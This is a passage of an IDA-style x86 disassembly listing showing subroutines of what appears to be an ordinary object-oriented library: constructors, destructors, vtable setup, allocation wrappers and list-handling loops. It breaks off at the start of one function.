loc_69B683E5:				; CODE XREF: sub_69B6839F+1Dj
		push	edi
		call	sub_69B6CF71
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jnz	short loc_69B68413
		test	byte ptr [esi+30h], 20h
		jz	short loc_69B683FD
		cmp	[esi+3Ch], ebx
		jnz	short loc_69B68424


loc_69B683FD:				; CODE XREF: sub_69B6839F+57j
		mov	ecx, esi
		call	sub_69B65903
		push	ebx
		push	[ebp+var_4]
		mov	ecx, edi
		push	ebx
		push	ebx
		call	sub_69B67EB9
		jmp	short loc_69B683B4
; ---------------------------------------------------------------------------


loc_69B68413:				; CODE XREF: sub_69B6839F+51j
		push	eax
		mov	ecx, esi
		call	sub_69B678D7
		test	al, al
		jz	short loc_69B683B4
		mov	eax, [ebp+var_8]
		jmp	short loc_69B68488
; ---------------------------------------------------------------------------


loc_69B68424:				; CODE XREF: sub_69B6839F+5Cj
		mov	edi, [edi]
		and	edi, 0FFFFFFFEh
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+0B4h]
		lea	ebx, [esi+68h]
		cmp	dword ptr [ebx], 0
		mov	[ebp+var_8], eax
		jnz	short loc_69B68471
		test	byte ptr [esi+48h], 2
		mov	eax, [eax+70h]
		mov	[ebp+var_4], eax
		jz	short loc_69B68451
		mov	eax, [esi+40h]
		xor	edx, edx
		jmp	short loc_69B68456
; ---------------------------------------------------------------------------


loc_69B68451:				; CODE XREF: sub_69B6839F+A9j
		mov	edx, [esi+40h]
		xor	eax, eax


loc_69B68456:				; CODE XREF: sub_69B6839F+B0j
		mov	ecx, [esi+3Ch]
		push	edx
		push	eax
		push	eax
		mov	eax, [ecx]
		call	dword ptr [eax+2Ch]
		mov	ecx, [ebp+var_4]
		push	eax
		call	sub_69B4D7A3
		push	eax
		push	ebx
		call	sub_69B17320


loc_69B68471:				; CODE XREF: sub_69B6839F+9Dj
		mov	ebx, [ebx]
		mov	ecx, [ebp+var_8]
		push	1
		push	0
		push	edi
		push	ebx
		push	dword ptr [esi+44h]
		call	sub_69B3D2F2
		jmp	short loc_69B68488
; ---------------------------------------------------------------------------


loc_69B68486:				; CODE XREF: sub_69B6839F+40j
		xor	eax, eax


loc_69B68488:				; CODE XREF: sub_69B6839F+83j
					; sub_69B6839F+E5j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B6839F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6848D	proc near		; DATA XREF: .text:69B131BCo

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	edi, ecx
		call	sub_69B67BD2
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	esi, eax
		mov	al, [edi+0Ch]
		and	al, 1
		movzx	eax, al
		mov	[esi+64h], eax
		mov	[esi+6Ch], eax
		mov	[esi+70h], eax
		mov	ecx, [edi+54h]
		mov	eax, [esi]
		and	ecx, 0FFFFFFFEh
		push	ecx
		mov	ecx, esi
		call	dword ptr [eax+50h]
		pop	edi
		lea	eax, [esi+10h]
		pop	esi
		retn	4
sub_69B6848D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B684CA	proc near		; CODE XREF: sub_69B6859A+12p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B67C1F
		xor	eax, eax
		mov	dword ptr [esi], offset	off_69B13238
		mov	dword ptr [esi+8], offset off_69B131D8
		mov	dword ptr [esi+10h], offset off_69B13140
		mov	[esi+4Ch], eax
		mov	[esi+50h], eax
		mov	[esi+60h], eax
		mov	[esi+64h], eax
		mov	[esi+68h], eax
		mov	[esi+6Ch], eax
		mov	[esi+70h], eax
		mov	[esi+74h], eax
		mov	[esi+78h], eax
		mov	[esi+80h], eax
		mov	eax, esi
		pop	esi
		retn	4
sub_69B684CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68513	proc near		; CODE XREF: sub_69B68085+3j
					; .text:69B680A0j
					; DATA XREF: ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B6852E
		test	[esp+4+arg_0], 1
		jz	short loc_69B68528
		push	esi
		call	sub_69B1829F


loc_69B68528:				; CODE XREF: sub_69B68513+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B68513	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6852E	proc near		; CODE XREF: sub_69B68513+3p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+80h]
		call	sub_69B67F03
		lea	eax, [esi+78h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+74h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+70h]
		test	byte ptr [eax],	1
		jz	short loc_69B6855F
		and	dword ptr [eax], 0FFFFFFFEh
		push	eax
		call	sub_69B17230


loc_69B6855F:				; CODE XREF: sub_69B6852E+26j
		lea	eax, [esi+6Ch]
		test	byte ptr [eax],	1
		jz	short loc_69B68570
		and	dword ptr [eax], 0FFFFFFFEh
		push	eax
		call	sub_69B17230


loc_69B68570:				; CODE XREF: sub_69B6852E+37j
		lea	eax, [esi+68h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+64h]
		test	byte ptr [eax],	1
		jz	short loc_69B6858A
		and	dword ptr [eax], 0FFFFFFFEh
		push	eax
		call	sub_69B17230


loc_69B6858A:				; CODE XREF: sub_69B6852E+51j
		lea	ecx, [esi+4Ch]
		call	sub_69B67F74
		mov	ecx, esi
		pop	esi
		jmp	sub_69B67C93
sub_69B6852E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6859A	proc near		; DATA XREF: .text:69B67D5Co
		push	88h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B685B2
		push	0
		mov	ecx, eax
		call	sub_69B684CA
		retn
; ---------------------------------------------------------------------------


loc_69B685B2:				; CODE XREF: sub_69B6859A+Cj
		xor	eax, eax
		retn
sub_69B6859A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B685B5	proc near		; CODE XREF: sub_69B5FB27+159p
					; sub_69B5FCE2+49p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	88h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B685E7
		push	[ebp+arg_18]
		mov	ecx, eax
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		push	[ebp+arg_14]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B68013
		jmp	short loc_69B685E9
; ---------------------------------------------------------------------------


loc_69B685E7:				; CODE XREF: sub_69B685B5+Fj
		xor	eax, eax


loc_69B685E9:				; CODE XREF: sub_69B685B5+30j
		pop	ebp
		retn	20h
sub_69B685B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B685ED	proc near		; DATA XREF: .text:69B1327Co
		test	byte ptr [ecx+7Ch], 1
		jz	sub_69B6839F
		jmp	sub_69B681B0
sub_69B685ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B685FC	proc near		; CODE XREF: sub_69B6863E+3j
					; .text:69B6864Ej
					; DATA XREF: ...
		mov	eax, offset off_69B68604
		retn
sub_69B685FC	endp

; ---------------------------------------------------------------------------
		align 4
off_69B68604	dd offset off_69B29C7C	; DATA XREF: sub_69B685FCo
		dd offset sub_69B68699

; =============== S U B	R O U T	I N E =======================================



sub_69B6860C	proc near		; DATA XREF: .text:69B12BFCo
					; .text:69B12C04o ...
		xor	eax, eax
		retn
sub_69B6860C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6860F	proc near		; DATA XREF: .text:69B132E8o
		mov	al, 1
		retn	8
sub_69B6860F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_69B686B1


loc_69B68614:				; CODE XREF: sub_69B686B1+Dj
		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		push	0
		push	0
		call	sub_69B6D314
		mov	dword ptr [esi], offset	off_69B13388
		mov	dword ptr [esi+8], offset off_69B13328
		mov	dword ptr [esi+10h], offset off_69B13290
		mov	eax, esi
		pop	esi
		retn	4
; END OF FUNCTION CHUNK	FOR sub_69B686B1

; =============== S U B	R O U T	I N E =======================================



sub_69B6863E	proc near		; DATA XREF: .text:69B13344o
		sub	ecx, 8
		jmp	short sub_69B685FC
sub_69B6863E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68643	proc near		; DATA XREF: .text:69B1335Co
					; .text:69B13CACo ...
		sub	ecx, 8
		jmp	sub_69B6CBC6
sub_69B68643	endp

; ---------------------------------------------------------------------------


loc_69B6864B:				; DATA XREF: .text:69B132ACo
		sub	ecx, 10h
		jmp	short sub_69B685FC

; =============== S U B	R O U T	I N E =======================================



sub_69B68650	proc near		; DATA XREF: .text:69B132C4o
					; .text:69B13C14o ...
		sub	ecx, 10h
		jmp	sub_69B6CBC6
sub_69B68650	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68658	proc near		; CODE XREF: sub_69B68699+Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B6D3CA
		mov	dword ptr [esi], offset	off_69B13388
		mov	dword ptr [esi+8], offset off_69B13328
		mov	dword ptr [esi+10h], offset off_69B13290
		mov	eax, esi
		pop	esi
		retn	4
sub_69B68658	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6867E	proc near		; CODE XREF: sub_69B6D36A+3j
					; .text:69B6D37Dj
					; DATA XREF: ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B65BC0
		test	[esp+4+arg_0], 1
		jz	short loc_69B68693
		push	esi
		call	sub_69B1829F


loc_69B68693:				; CODE XREF: sub_69B6867E+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B6867E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68699	proc near		; DATA XREF: .text:69B68608o
		push	38h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B686AE
		push	0
		mov	ecx, eax
		call	sub_69B68658
		retn
; ---------------------------------------------------------------------------


loc_69B686AE:				; CODE XREF: sub_69B68699+9j
		xor	eax, eax
		retn
sub_69B68699	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B686B1	proc near		; CODE XREF: sub_69B5FB27+9Cp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 69B68614 SIZE 0000002A BYTES

		push	38h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B686C3
		mov	ecx, eax
		jmp	loc_69B68614
; ---------------------------------------------------------------------------


loc_69B686C3:				; CODE XREF: sub_69B686B1+9j
		xor	eax, eax
		retn	4
sub_69B686B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B686C8	proc near		; CODE XREF: sub_69B689BE+3j
					; .text:69B689E1j
					; DATA XREF: ...
		mov	eax, offset off_69B686D0
		retn
sub_69B686C8	endp

; ---------------------------------------------------------------------------
		align 10h
off_69B686D0	dd offset off_69B29C7C	; DATA XREF: sub_69B686C8o
		dd offset sub_69B68C66

; =============== S U B	R O U T	I N E =======================================



sub_69B686D8	proc near		; DATA XREF: .text:69B134BCo
		mov	eax, 309h
		retn
sub_69B686D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B686DE	proc near		; DATA XREF: .text:69B13518o

arg_0		= dword	ptr  4

		test	byte ptr [ecx+50h], 4
		jnz	sub_69B6C9EA
		mov	eax, [esp+arg_0]
		retn	4
sub_69B686DE	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B686EF	proc near		; DATA XREF: .text:69B1342Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		push	[esp+8+arg_0]
		call	sub_69B6CD8D
		mov	ecx, eax
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_69B68715
		cmp	[esp+4+arg_4], 0
		jz	short loc_69B68715
		mov	eax, [esi+2Ch]
		sub	eax, ecx
		dec	eax
		jmp	short loc_69B68717
; ---------------------------------------------------------------------------


loc_69B68715:				; CODE XREF: sub_69B686EF+15j
					; sub_69B686EF+1Cj
		mov	eax, ecx


loc_69B68717:				; CODE XREF: sub_69B686EF+24j
		pop	esi
		retn	8
sub_69B686EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6871B	proc near		; CODE XREF: sub_69B687E1+3Ap
					; sub_69B68A03+117p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		push	edi
		mov	edi, ecx
		jl	short loc_69B6872C
		cmp	esi, [edi+8]
		jl	short loc_69B68731


loc_69B6872C:				; CODE XREF: sub_69B6871B+Aj
		call	sub_69B2E6D8


loc_69B68731:				; CODE XREF: sub_69B6871B+Fj
		lea	eax, [esi+esi*2]
		lea	eax, [edi+eax*8+0Ch]
		pop	edi
		pop	esi
		retn	4
sub_69B6871B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6873D	proc near		; DATA XREF: .text:69B13424o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		test	edi, edi
		mov	esi, ecx
		jz	short loc_69B68795
		cmp	edi, [ebp+arg_4]
		jz	short loc_69B68795
		test	byte ptr [esi+40h], 1
		jz	short loc_69B68771
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_69B6876D
		mov	eax, [ecx]
		push	edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [eax+4Ch]
		test	eax, eax
		jz	short loc_69B68771


loc_69B6876D:				; CODE XREF: sub_69B6873D+1Ej
		mov	eax, edi
		jmp	short loc_69B68797
; ---------------------------------------------------------------------------


loc_69B68771:				; CODE XREF: sub_69B6873D+17j
					; sub_69B6873D+2Ej
		mov	eax, [edi]
		lea	ecx, [ebp+arg_8]
		push	ecx
		mov	ecx, edi
		call	dword ptr [eax+68h]
		test	eax, eax
		jz	short loc_69B68795
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_69B68797
		mov	eax, [ecx]
		push	edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [eax+4Ch]
		jmp	short loc_69B68797
; ---------------------------------------------------------------------------


loc_69B68795:				; CODE XREF: sub_69B6873D+Cj
					; sub_69B6873D+11j ...
		xor	eax, eax


loc_69B68797:				; CODE XREF: sub_69B6873D+32j
					; sub_69B6873D+48j ...
		pop	edi
		pop	esi
		pop	ebp
		retn	0Ch
sub_69B6873D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6879D	proc near		; DATA XREF: .text:69B13428o
		mov	eax, [ecx+3Ch]
		test	eax, eax
		jz	sub_69B6CA3F
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+50h]
sub_69B6879D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B687AF	proc near		; DATA XREF: .text:69B13508o
		mov	eax, [ecx+50h]
		test	al, 2
		jz	short loc_69B687BC
		mov	eax, dword_69B9B400
		retn
; ---------------------------------------------------------------------------


loc_69B687BC:				; CODE XREF: sub_69B687AF+5j
		test	al, 1
		mov	eax, dword_69B9B408
		jnz	short locret_69B687CA
		mov	eax, dword_69B9B410

locret_69B687CA:			; CODE XREF: sub_69B687AF+14j
		retn
sub_69B687AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B687CB	proc near		; DATA XREF: .text:69B1351Co
					; .text:69B13664o
		mov	ecx, [ecx+4Ch]
		test	ecx, ecx
		jz	short locret_69B687DE
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+5Ch]
; ---------------------------------------------------------------------------

locret_69B687DE:			; CODE XREF: sub_69B687CB+5j
		retn	8
sub_69B687CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B687E1	proc near		; DATA XREF: .text:69B13438o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		test	byte ptr [esi+40h], 4
		jz	short loc_69B687F5
		push	[esp+4+arg_0]
		call	sub_69B6D410
		jmp	short loc_69B6883E
; ---------------------------------------------------------------------------


loc_69B687F5:				; CODE XREF: sub_69B687E1+7j
		mov	eax, [esi+44h]
		mov	ecx, [esi+38h]
		push	edi
		dec	eax
		push	eax
		call	sub_69B1A954
		test	byte ptr [esi+40h], 2
		mov	edi, [eax]
		jz	short loc_69B68813
		push	edi
		call	sub_69B6D2F7
		jmp	short loc_69B6883D
; ---------------------------------------------------------------------------


loc_69B68813:				; CODE XREF: sub_69B687E1+28j
		mov	eax, [esi+44h]
		mov	ecx, [esi+28h]
		dec	eax
		push	eax
		call	sub_69B6871B
		test	byte ptr [esi+40h], 1
		mov	eax, [eax+10h]
		jz	short loc_69B6882A
		dec	eax


loc_69B6882A:				; CODE XREF: sub_69B687E1+46j
		test	eax, eax
		jle	short loc_69B6883B
		mov	esi, eax


loc_69B68830:				; CODE XREF: sub_69B687E1+58j
		push	edi
		call	sub_69B6D2F7
		dec	esi
		mov	edi, eax
		jnz	short loc_69B68830


loc_69B6883B:				; CODE XREF: sub_69B687E1+4Bj
		mov	eax, edi


loc_69B6883D:				; CODE XREF: sub_69B687E1+30j
		pop	edi


loc_69B6883E:				; CODE XREF: sub_69B687E1+12j
		pop	esi
		retn	4
sub_69B687E1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68842	proc near		; CODE XREF: sub_69B68896+6p
					; sub_69B688A9+6p ...
		push	esi
		push	edi
		mov	esi, ecx
		xor	edi, edi
		push	edi
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17320
		push	edi
		lea	ecx, [esi+58h]
		mov	[esi+3Ch], edi
		mov	[esi+44h], edi
		call	sub_69B677FE
		and	dword ptr [esi+50h], 0FFFFFFF7h
		mov	[esi+54h], edi
		pop	edi
		pop	esi
		retn
sub_69B68842	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6886B	proc near		; CODE XREF: sub_69B689F3+3j
					; sub_69B689FB+3j
					; DATA XREF: ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+4Ch]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+48h]
		push	eax
		call	sub_69B17320
		push	0
		lea	ecx, [esi+58h]
		call	sub_69B677FE
		mov	ecx, esi
		pop	esi
		jmp	sub_69B6CBC6
sub_69B6886B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68896	proc near		; DATA XREF: .text:69B1341Co
		push	esi
		mov	esi, ecx
		lea	ecx, [esi-10h]
		call	sub_69B68842
		mov	ecx, esi
		pop	esi
		jmp	sub_69B6CCB6
sub_69B68896	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B688A9	proc near		; DATA XREF: .text:69B13420o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, ecx
		lea	ecx, [esi-10h]
		call	sub_69B68842
		push	[esp+4+arg_8]
		mov	ecx, esi
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_69B6CD21
		pop	esi
		retn	0Ch
sub_69B688A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B688CB	proc near		; DATA XREF: .text:69B13458o

arg_0		= dword	ptr  4

		cmp	byte ptr [esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_69B688DD
		lea	ecx, [esi-10h]
		call	sub_69B68842


loc_69B688DD:				; CODE XREF: sub_69B688CB+8j
		push	[esp+4+arg_0]
		mov	ecx, esi
		call	sub_69B6CD55
		pop	esi
		retn	4
sub_69B688CB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B688EC	proc near		; DATA XREF: .text:69B13454o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	edi, ecx
		call	sub_69B6CFE2
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		mov	esi, eax
		lea	eax, [edi+3Ch]
		push	eax
		lea	ecx, [esi+4Ch]
		call	sub_69B4D414
		mov	eax, [esi+50h]
		xor	eax, [edi+40h]
		and	eax, 1
		xor	[esi+50h], eax
		mov	ecx, [esi+50h]
		mov	eax, [edi+40h]
		xor	eax, ecx
		and	eax, 4
		xor	eax, ecx
		mov	[esi+50h], eax
		mov	ecx, [edi+40h]
		xor	ecx, eax
		and	ecx, 2
		xor	ecx, eax
		pop	edi
		mov	[esi+50h], ecx
		lea	eax, [esi+10h]
		pop	esi
		retn	4
sub_69B688EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B6893F	proc near		; CODE XREF: sub_69B68C7E+11j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h
arg_10		= byte ptr  18h
arg_14		= byte ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_8]
		mov	esi, ecx
		push	0
		push	[ebp+arg_0]
		call	sub_69B6D314
		push	[ebp+arg_4]
		mov	dword ptr [esi], offset	off_69B134D0
		mov	dword ptr [esi+8], offset off_69B13470
		mov	dword ptr [esi+10h], offset off_69B133D8
		and	dword ptr [esi+38h], 0
		and	dword ptr [esi+40h], 0
		and	dword ptr [esi+48h], 0
		lea	ecx, [esi+4Ch]
		call	sub_69B1E084
		xor	eax, eax
		mov	al, [ebp+arg_14]
		xor	ecx, ecx
		mov	cl, [ebp+arg_10]
		and	eax, 1
		shl	eax, 1
		and	ecx, 1
		or	eax, ecx
		xor	ecx, ecx
		mov	cl, [ebp+arg_C]
		shl	eax, 1
		and	ecx, 1
		or	eax, ecx
		mov	ecx, [esi+50h]
		and	ecx, 0FFFFFFF8h
		or	eax, ecx
		mov	[esi+50h], eax
		movzx	eax, byte ptr [ebp+arg_8]
		mov	[esi+58h], eax
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	18h
sub_69B6893F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B689B6	proc near		; DATA XREF: .text:69B1347Co

arg_0		= byte ptr  4

		sub	ecx, 8
		jmp	sub_69B68C0D
sub_69B689B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B689BE	proc near		; DATA XREF: .text:69B1348Co
		sub	ecx, 8
		jmp	sub_69B686C8
sub_69B689BE	endp

; ---------------------------------------------------------------------------


loc_69B689C6:				; DATA XREF: .text:69B133E4o
		sub	ecx, 10h
		jmp	sub_69B68C0D
; ---------------------------------------------------------------------------


loc_69B689CE:				; DATA XREF: .text:69B12C30o
					; .text:69B12D78o ...
		sub	ecx, 10h
		jmp	sub_69B1B57D
; ---------------------------------------------------------------------------


loc_69B689D6:				; DATA XREF: .text:69B12C34o
					; .text:69B12D7Co ...
		sub	ecx, 10h
		jmp	nullsub_5
; ---------------------------------------------------------------------------


loc_69B689DE:				; DATA XREF: .text:69B133F4o
		sub	ecx, 10h
		jmp	sub_69B686C8

; =============== S U B	R O U T	I N E =======================================



sub_69B689E6	proc near		; DATA XREF: .text:69B1346Co
		test	byte ptr [ecx+40h], 4
		jnz	loc_69B65D1B
		mov	al, 1
		retn
sub_69B689E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B689F3	proc near		; DATA XREF: .text:69B134A4o
		sub	ecx, 8
		jmp	sub_69B6886B
sub_69B689F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B689FB	proc near		; DATA XREF: .text:69B1340Co
		sub	ecx, 10h
		jmp	sub_69B6886B
sub_69B689FB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68A03	proc near		; CODE XREF: sub_69B68C9A+9p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 0Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+58h]
		test	dword ptr [edi], 0FFFFFFFEh
		jnz	short loc_69B68A24
		mov	eax, [esi]
		call	dword ptr [eax+40h]
		push	eax
		mov	ecx, edi
		call	sub_69B677FE


loc_69B68A24:				; CODE XREF: sub_69B68A03+12j
		lea	ebx, [esi+48h]
		cmp	dword ptr [ebx], 0
		jnz	short loc_69B68A51
		push	38h
		call	sub_69B17EF3
		mov	ebp, eax
		mov	ecx, ebp
		mov	dword ptr [ebp+8], 0Ah
		call	sub_69B19118
		push	ebp
		push	ebx
		mov	dword ptr [ebp+0], offset off_69B1EE00
		call	sub_69B17320


loc_69B68A51:				; CODE XREF: sub_69B68A03+27j
		mov	eax, [ebx]
		mov	eax, [eax+8]
		and	dword ptr [esi+44h], 0
		mov	[esp+1Ch+var_8], eax
		jmp	loc_69B68BBA
; ---------------------------------------------------------------------------


loc_69B68A63:				; CODE XREF: sub_69B68A03+1BDj
		test	byte ptr [esi+50h], 1
		jz	short loc_69B68A71
		mov	edi, [esi+58h]
		and	edi, 0FFFFFFFEh
		jmp	short loc_69B68A7E
; ---------------------------------------------------------------------------


loc_69B68A71:				; CODE XREF: sub_69B68A03+64j
		mov	ecx, [esi+58h]
		and	ecx, 0FFFFFFFEh
		mov	eax, [ecx]
		call	dword ptr [eax+64h]
		mov	edi, eax


loc_69B68A7E:				; CODE XREF: sub_69B68A03+6Cj
		mov	ecx, [esi+14h]
		mov	eax, [ecx]
		push	0
		call	dword ptr [eax+60h]
		and	[esp+1Ch+var_C], 0
		mov	[esp+1Ch+var_4], eax
		jmp	short loc_69B68B0D
; ---------------------------------------------------------------------------


loc_69B68A93:				; CODE XREF: sub_69B68A03+10Cj
		inc	[esp+1Ch+var_C]
		push	edi
		lea	ecx, [esi+38h]
		call	sub_69B6DAAE
		test	al, al
		jnz	short loc_69B68B11
		mov	ecx, [esi+4Ch]
		test	ecx, ecx
		jz	short loc_69B68ABA
		mov	eax, [ecx]
		push	edi
		push	0
		push	dword ptr [esi+18h]
		call	dword ptr [eax+4Ch]
		test	eax, eax
		jz	short loc_69B68AF4


loc_69B68ABA:				; CODE XREF: sub_69B68A03+A6j
		xor	eax, eax
		mov	al, [esi+1Ch]
		mov	ecx, edi
		lea	ebp, [esi+40h]
		and	eax, 0FFFFFF01h
		push	eax
		mov	eax, [edi]
		call	dword ptr [eax+44h]
		cmp	eax, 0Fh
		setz	al
		mov	ecx, ebp
		push	eax
		push	edi
		call	sub_69B6D9D2
		mov	ecx, ebp
		call	sub_69B6DA4B
		mov	ecx, [esp+1Ch+var_C]
		mov	[eax+10h], ecx
		test	byte ptr [esi+50h], 4
		jz	short loc_69B68AF4
		xor	edi, edi


loc_69B68AF4:				; CODE XREF: sub_69B68A03+B5j
					; sub_69B68A03+EDj
		test	edi, edi
		jz	short loc_69B68B03
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+64h]
		mov	edi, eax
		jmp	short loc_69B68B05
; ---------------------------------------------------------------------------


loc_69B68B03:				; CODE XREF: sub_69B68A03+F3j
		xor	edi, edi


loc_69B68B05:				; CODE XREF: sub_69B68A03+FEj
		test	byte ptr [esi+50h], 2
		jz	short loc_69B68B0D
		xor	edi, edi


loc_69B68B0D:				; CODE XREF: sub_69B68A03+8Ej
					; sub_69B68A03+106j
		test	edi, edi
		jnz	short loc_69B68A93


loc_69B68B11:				; CODE XREF: sub_69B68A03+9Fj
		mov	ebp, [esi+44h]
		jmp	short loc_69B68B91
; ---------------------------------------------------------------------------


loc_69B68B16:				; CODE XREF: sub_69B68A03+18Fj
		mov	ecx, [esi+40h]
		push	ebp
		call	sub_69B6871B
		mov	edi, eax
		xor	eax, eax
		mov	al, [esi+1Ch]
		lea	ecx, [esi+38h]
		and	eax, 0FFFFFF01h
		push	eax
		mov	eax, [edi+0Ch]
		shr	eax, 1
		and	eax, 0FFFFFF01h
		push	eax
		mov	eax, [edi]
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_69B6D9D2
		lea	ecx, [esi+38h]
		call	sub_69B6DA4B
		mov	ecx, [edi+10h]
		mov	[eax+10h], ecx
		mov	eax, [esp+1Ch+var_8]
		cmp	eax, [esi+3Ch]
		jg	short loc_69B68B71
		mov	ecx, [ebx]
		add	eax, eax
		push	eax
		mov	[esp+20h+var_8], eax
		call	sub_69B660A0
		push	eax
		push	ebx
		call	sub_69B17320


loc_69B68B71:				; CODE XREF: sub_69B68A03+157j
		mov	eax, [esi+3Ch]
		mov	ecx, [ebx]
		dec	eax
		push	eax
		call	sub_69B1A954
		push	[esp+1Ch+var_4]
		mov	edi, eax
		push	0
		call	sub_69B6D2B6
		push	eax
		push	edi
		call	sub_69B17320


loc_69B68B91:				; CODE XREF: sub_69B68A03+111j
		dec	ebp
		jns	short loc_69B68B16
		lea	edi, [esi+58h]
		push	0
		mov	ecx, edi
		call	sub_69B677FE
		and	dword ptr [esi+44h], 0
		mov	ecx, esi
		call	sub_69B65903
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+40h]
		push	eax
		mov	ecx, edi
		call	sub_69B677FE


loc_69B68BBA:				; CODE XREF: sub_69B68A03+5Bj
		test	dword ptr [edi], 0FFFFFFFEh
		jnz	loc_69B68A63
		or	dword ptr [esi+50h], 8
		and	dword ptr [esi+54h], 0
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 0Ch
		retn
sub_69B68A03	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B68BD6	proc near		; CODE XREF: sub_69B68C66+Fp

arg_0		= dword	ptr  4

